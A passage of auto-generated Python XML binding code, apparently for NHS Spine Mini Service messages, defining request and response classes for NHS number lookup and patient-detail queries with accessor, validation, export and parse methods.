from smsp.schema_utils import * from smsp.schema_utils import _cast from smsp.common_itk import * class getNHSNumberRequest_v1_0(GeneratedsSuper): subclass = None superclass = None def __init__(self, classCode=None, moodCode=None, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, id=None, code=None, queryEvent=None): self.original_tagname_ = None self.classCode = _cast(None, classCode) self.moodCode = _cast(None, moodCode) self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.id = id self.code = code self.queryEvent = queryEvent def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, getNHSNumberRequest_v1_0) if subclass is not None: return subclass(*args_, **kwargs_) if getNHSNumberRequest_v1_0.subclass: return getNHSNumberRequest_v1_0.subclass(*args_, **kwargs_) else: return getNHSNumberRequest_v1_0(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_id(self): return self.id def set_id(self, id): self.id = id def get_code(self): return self.code def set_code(self, code): self.code = code def get_queryEvent(self): return self.queryEvent def set_queryEvent(self, queryEvent): self.queryEvent = queryEvent def get_classCode(self): return self.classCode def set_classCode(self, classCode): self.classCode = classCode def get_moodCode(self): return self.moodCode def set_moodCode(self, moodCode): self.moodCode = moodCode def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_cs(self, value): # Validate type cs, a restriction on xsd:token. if value is not None and Validate_simpletypes_: if not self.gds_validate_simple_patterns( self.validate_cs_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_patterns_, )) validate_cs_patterns_ = [['^[^\\s]*$']] def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.id is not None or self.code is not None or self.queryEvent is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='QUPA_MT000002GB01.getNHSNumberRequest-v1-0', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('QUPA_MT000002GB01.getNHSNumberRequest-v1-0') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='QUPA_MT000002GB01.getNHSNumberRequest-v1-0') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='QUPA_MT000002GB01.getNHSNumberRequest-v1-0', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='QUPA_MT000002GB01.getNHSNumberRequest-v1-0'): if self.classCode is not None and 'classCode' not in already_processed: already_processed.add('classCode') outfile.write(' classCode=%s' % (quote_attrib(self.classCode), )) if self.moodCode is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') outfile.write(' moodCode=%s' % (quote_attrib(self.moodCode), )) if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='QUPA_MT000002GB01.getNHSNumberRequest-v1-0', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.id is not None: self.id.export(outfile, level, namespace_, name_='id', pretty_print=pretty_print) if self.code is not None: self.code.export(outfile, level, namespace_, name_='code', pretty_print=pretty_print) if self.queryEvent is not None: self.queryEvent.export(outfile, level, namespace_, name_='queryEvent', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('classCode', node) if value is not None and 'classCode' not in already_processed: already_processed.add('classCode') self.classCode = value self.validate_cs(self.classCode) # validate type cs value = find_attr_value_('moodCode', node) if value is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') self.moodCode = value self.validate_cs(self.moodCode) # validate type cs value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'id': obj_ = II_NHS_IdentifierType2.factory() obj_.build(child_) self.id = obj_ obj_.original_tagname_ = 'id' elif nodeName_ == 'code': obj_ = codeType.factory() obj_.build(child_) self.code = obj_ obj_.original_tagname_ = 'code' elif nodeName_ == 'queryEvent': obj_ = getNHSNumberRequest_v1_0Grouper.factory() obj_.build(child_) self.queryEvent = obj_ obj_.original_tagname_ = 'queryEvent' class getNHSNumberRequest_v1_0Grouper(GeneratedsSuper): subclass = None superclass = None def __init__(self, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, Person_DateOfBirth=None, Person_Gender=None, Person_LocalIdentifier=None, Person_Name=None, Person_Postcode=None): self.original_tagname_ = None self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.Person_DateOfBirth = Person_DateOfBirth self.Person_Gender = Person_Gender self.Person_LocalIdentifier = Person_LocalIdentifier self.Person_Name = Person_Name self.Person_Postcode = Person_Postcode def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, getNHSNumberRequest_v1_0Grouper) if subclass is not None: return subclass(*args_, **kwargs_) if getNHSNumberRequest_v1_0Grouper.subclass: return getNHSNumberRequest_v1_0Grouper.subclass(*args_, **kwargs_) else: return getNHSNumberRequest_v1_0Grouper(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_Person_DateOfBirth(self): return self.Person_DateOfBirth def set_Person_DateOfBirth(self, Person_DateOfBirth): self.Person_DateOfBirth = Person_DateOfBirth def get_Person_Gender(self): return self.Person_Gender def set_Person_Gender(self, Person_Gender): self.Person_Gender = Person_Gender def get_Person_LocalIdentifier(self): return self.Person_LocalIdentifier def set_Person_LocalIdentifier(self, Person_LocalIdentifier): self.Person_LocalIdentifier = Person_LocalIdentifier def get_Person_Name(self): return self.Person_Name def set_Person_Name(self, Person_Name): self.Person_Name = Person_Name def get_Person_Postcode(self): return self.Person_Postcode def set_Person_Postcode(self, Person_Postcode): self.Person_Postcode = Person_Postcode def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.Person_DateOfBirth is not None or self.Person_Gender is not None or self.Person_LocalIdentifier is not None or self.Person_Name is not None or self.Person_Postcode is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='QUPA_MT000002GB01.getNHSNumberRequest-v1-0Grouper', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('QUPA_MT000002GB01.getNHSNumberRequest-v1-0Grouper') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='QUPA_MT000002GB01.getNHSNumberRequest-v1-0Grouper') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='QUPA_MT000002GB01.getNHSNumberRequest-v1-0Grouper', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='QUPA_MT000002GB01.getNHSNumberRequest-v1-0Grouper'): if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='QUPA_MT000002GB01.getNHSNumberRequest-v1-0Grouper', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.Person_DateOfBirth is not None: self.Person_DateOfBirth.export(outfile, level, namespace_, name_='Person.DateOfBirth', pretty_print=pretty_print) if self.Person_Gender is not None: self.Person_Gender.export(outfile, level, namespace_, name_='Person.Gender', pretty_print=pretty_print) if self.Person_LocalIdentifier is not None: self.Person_LocalIdentifier.export(outfile, level, namespace_, name_='Person.LocalIdentifier', pretty_print=pretty_print) if self.Person_Name is not None: self.Person_Name.export(outfile, level, namespace_, name_='Person.Name', pretty_print=pretty_print) if self.Person_Postcode is not None: self.Person_Postcode.export(outfile, level, namespace_, name_='Person.Postcode', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'Person.DateOfBirth': obj_ = Person_DateOfBirth.factory() obj_.build(child_) self.Person_DateOfBirth = obj_ obj_.original_tagname_ = 'Person.DateOfBirth' elif nodeName_ == 'Person.Gender': obj_ = Person_Gender.factory() obj_.build(child_) self.Person_Gender = obj_ obj_.original_tagname_ = 'Person.Gender' elif nodeName_ == 'Person.LocalIdentifier': obj_ = Person_LocalIdentifier.factory() obj_.build(child_) self.Person_LocalIdentifier = obj_ obj_.original_tagname_ = 'Person.LocalIdentifier' elif nodeName_ == 'Person.Name': obj_ = Person_Name.factory() obj_.build(child_) self.Person_Name = obj_ obj_.original_tagname_ = 'Person.Name' elif nodeName_ == 'Person.Postcode': obj_ = Person_Postcode.factory() obj_.build(child_) self.Person_Postcode = obj_ obj_.original_tagname_ = 'Person.Postcode' class getNHSNumberResponse_v1_0(GeneratedsSuper): subclass = None superclass = None def __init__(self, classCode=None, moodCode=None, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, id=None, code=None, value=None, subject=None): self.original_tagname_ = None self.classCode = _cast(None, classCode) self.moodCode = _cast(None, moodCode) self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.id = id self.code = code self.value = value self.subject = subject def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, getNHSNumberResponse_v1_0) if subclass is not None: return subclass(*args_, **kwargs_) if getNHSNumberResponse_v1_0.subclass: return getNHSNumberResponse_v1_0.subclass(*args_, **kwargs_) else: return getNHSNumberResponse_v1_0(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_id(self): return self.id def set_id(self, id): self.id = id def get_code(self): return self.code def set_code(self, code): self.code = code def get_value(self): return self.value def set_value(self, value): self.value = value def get_subject(self): return self.subject def set_subject(self, subject): self.subject = subject def get_classCode(self): return self.classCode def set_classCode(self, classCode): self.classCode = classCode def get_moodCode(self): return self.moodCode def set_moodCode(self, moodCode): self.moodCode = moodCode def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_cs(self, value): # Validate type cs, a restriction on xsd:token. if value is not None and Validate_simpletypes_: if not self.gds_validate_simple_patterns( self.validate_cs_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_patterns_, )) validate_cs_patterns_ = [['^[^\\s]*$']] def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.id is not None or self.code is not None or self.value is not None or self.subject is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='COMT_MT000014GB01.getNHSNumberResponse-v1-0', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('COMT_MT000014GB01.getNHSNumberResponse-v1-0') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='COMT_MT000014GB01.getNHSNumberResponse-v1-0') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='COMT_MT000014GB01.getNHSNumberResponse-v1-0', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='COMT_MT000014GB01.getNHSNumberResponse-v1-0'): if self.classCode is not None and 'classCode' not in already_processed: already_processed.add('classCode') outfile.write(' classCode=%s' % (quote_attrib(self.classCode), )) if self.moodCode is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') outfile.write(' moodCode=%s' % (quote_attrib(self.moodCode), )) if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='COMT_MT000014GB01.getNHSNumberResponse-v1-0', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.id is not None: self.id.export(outfile, level, namespace_, name_='id', pretty_print=pretty_print) if self.code is not None: self.code.export(outfile, level, namespace_, name_='code', pretty_print=pretty_print) if self.value is not None: self.value.export(outfile, level, namespace_, name_='value', pretty_print=pretty_print) if self.subject is not None: self.subject.export(outfile, level, namespace_, name_='subject', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('classCode', node) if value is not None and 'classCode' not in already_processed: already_processed.add('classCode') self.classCode = value self.validate_cs(self.classCode) # validate type cs value = find_attr_value_('moodCode', node) if value is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') self.moodCode = value self.validate_cs(self.moodCode) # validate type cs value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'id': obj_ = II_NHS_IdentifierType2.factory() obj_.build(child_) self.id = obj_ obj_.original_tagname_ = 'id' elif nodeName_ == 'code': obj_ = codeType.factory() obj_.build(child_) self.code = obj_ obj_.original_tagname_ = 'code' elif nodeName_ == 'value': obj_ = valueType.factory() obj_.build(child_) self.value = obj_ obj_.original_tagname_ = 'value' elif nodeName_ == 'subject': obj_ = Subject.factory() obj_.build(child_) self.subject = obj_ obj_.original_tagname_ = 'subject' class getPatientDetailsByNHSNumberRequest_v1_0(GeneratedsSuper): subclass = None superclass = None def __init__(self, classCode=None, moodCode=None, nullFlavor=None, updateMode=None, realmCode=None, typeId=None, templateId=None, id=None, code=None, queryEvent=None): self.original_tagname_ = None self.classCode = _cast(None, classCode) self.moodCode = _cast(None, moodCode) self.nullFlavor = _cast(None, nullFlavor) self.updateMode = _cast(None, updateMode) if realmCode is None: self.realmCode = [] else: self.realmCode = realmCode self.typeId = typeId if templateId is None: self.templateId = [] else: self.templateId = templateId self.id = id self.code = code self.queryEvent = queryEvent def factory(*args_, **kwargs_): if CurrentSubclassModule_ is not None: subclass = getSubclassFromModule_( CurrentSubclassModule_, getPatientDetailsByNHSNumberRequest_v1_0) if subclass is not None: return subclass(*args_, **kwargs_) if getPatientDetailsByNHSNumberRequest_v1_0.subclass: return getPatientDetailsByNHSNumberRequest_v1_0.subclass(*args_, **kwargs_) else: return getPatientDetailsByNHSNumberRequest_v1_0(*args_, **kwargs_) factory = staticmethod(factory) def get_realmCode(self): return self.realmCode def set_realmCode(self, realmCode): self.realmCode = realmCode def add_realmCode(self, value): self.realmCode.append(value) def insert_realmCode_at(self, index, value): self.realmCode.insert(index, value) def replace_realmCode_at(self, index, value): self.realmCode[index] = value def get_typeId(self): return self.typeId def set_typeId(self, typeId): self.typeId = typeId def get_templateId(self): return self.templateId def set_templateId(self, templateId): self.templateId = templateId def add_templateId(self, value): self.templateId.append(value) def insert_templateId_at(self, index, value): self.templateId.insert(index, value) def replace_templateId_at(self, index, value): self.templateId[index] = value def get_id(self): return self.id def set_id(self, id): self.id = id def get_code(self): return self.code def set_code(self, code): self.code = code def get_queryEvent(self): return self.queryEvent def set_queryEvent(self, queryEvent): self.queryEvent = queryEvent def get_classCode(self): return self.classCode def set_classCode(self, classCode): self.classCode = classCode def get_moodCode(self): return self.moodCode def set_moodCode(self, moodCode): self.moodCode = moodCode def get_nullFlavor(self): return self.nullFlavor def set_nullFlavor(self, nullFlavor): self.nullFlavor = nullFlavor def get_updateMode(self): return self.updateMode def set_updateMode(self, updateMode): self.updateMode = updateMode def validate_cs(self, value): # Validate type cs, a restriction on xsd:token. if value is not None and Validate_simpletypes_: if not self.gds_validate_simple_patterns( self.validate_cs_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_patterns_, )) validate_cs_patterns_ = [['^[^\\s]*$']] def validate_NullFlavor(self, value): # Validate type NullFlavor, a restriction on None. pass def validate_cs_UpdateMode(self, value): # Validate type cs_UpdateMode, a restriction on cs. if value is not None and Validate_simpletypes_: value = str(value) enumerations = ['added', 'altered', 'removed', 'unchanged'] enumeration_respectee = False for enum in enumerations: if value == enum: enumeration_respectee = True break if not enumeration_respectee: warnings_.warn('Value "%(value)s" does not match xsd enumeration restriction on cs_UpdateMode' % {"value" : value.encode("utf-8")} ) if not self.gds_validate_simple_patterns( self.validate_cs_UpdateMode_patterns_, value): warnings_.warn('Value "%s" does not match xsd pattern restrictions: %s' % (value.encode('utf-8'), self.validate_cs_UpdateMode_patterns_, )) validate_cs_UpdateMode_patterns_ = [['^[^\\s]*$']] def hasContent_(self): if ( self.realmCode or self.typeId is not None or self.templateId or self.id is not None or self.code is not None or self.queryEvent is not None ): return True else: return False def export(self, outfile, level, namespace_='', name_='QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0', namespacedef_='', pretty_print=True): imported_ns_def_ = GenerateDSNamespaceDefs_.get('QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0') if imported_ns_def_ is not None: namespacedef_ = imported_ns_def_ if pretty_print: eol_ = '\n' else: eol_ = '' if self.original_tagname_ is not None: name_ = self.original_tagname_ showIndent(outfile, level, pretty_print) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = set() self.exportAttributes(outfile, level, already_processed, namespace_, name_='QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0') if self.hasContent_(): outfile.write('>%s' % (eol_, )) self.exportChildren(outfile, level + 1, namespace_='', name_='QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0', pretty_print=pretty_print) showIndent(outfile, level, pretty_print) outfile.write('</%s%s>%s' % (namespace_, name_, eol_)) else: outfile.write('/>%s' % (eol_, )) def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0'): if self.classCode is not None and 'classCode' not in already_processed: already_processed.add('classCode') outfile.write(' classCode=%s' % (quote_attrib(self.classCode), )) if self.moodCode is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') outfile.write(' moodCode=%s' % (quote_attrib(self.moodCode), )) if self.nullFlavor is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') outfile.write(' nullFlavor=%s' % (quote_attrib(self.nullFlavor), )) if self.updateMode is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') outfile.write(' updateMode=%s' % (quote_attrib(self.updateMode), )) def exportChildren(self, outfile, level, namespace_='', name_='QUPA_MT000003GB01.getPatientDetailsByNHSNumberRequest-v1-0', fromsubclass_=False, pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.id is not None: self.id.export(outfile, level, namespace_, name_='id', pretty_print=pretty_print) if self.code is not None: self.code.export(outfile, level, namespace_, name_='code', pretty_print=pretty_print) if self.queryEvent is not None: self.queryEvent.export(outfile, level, namespace_, name_='queryEvent', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('classCode', node) if value is not None and 'classCode' not in already_processed: already_processed.add('classCode') self.classCode = value self.validate_cs(self.classCode) # validate type cs value = find_attr_value_('moodCode', node) if value is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') self.moodCode = value self.validate_cs(self.moodCode) # validate type cs value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 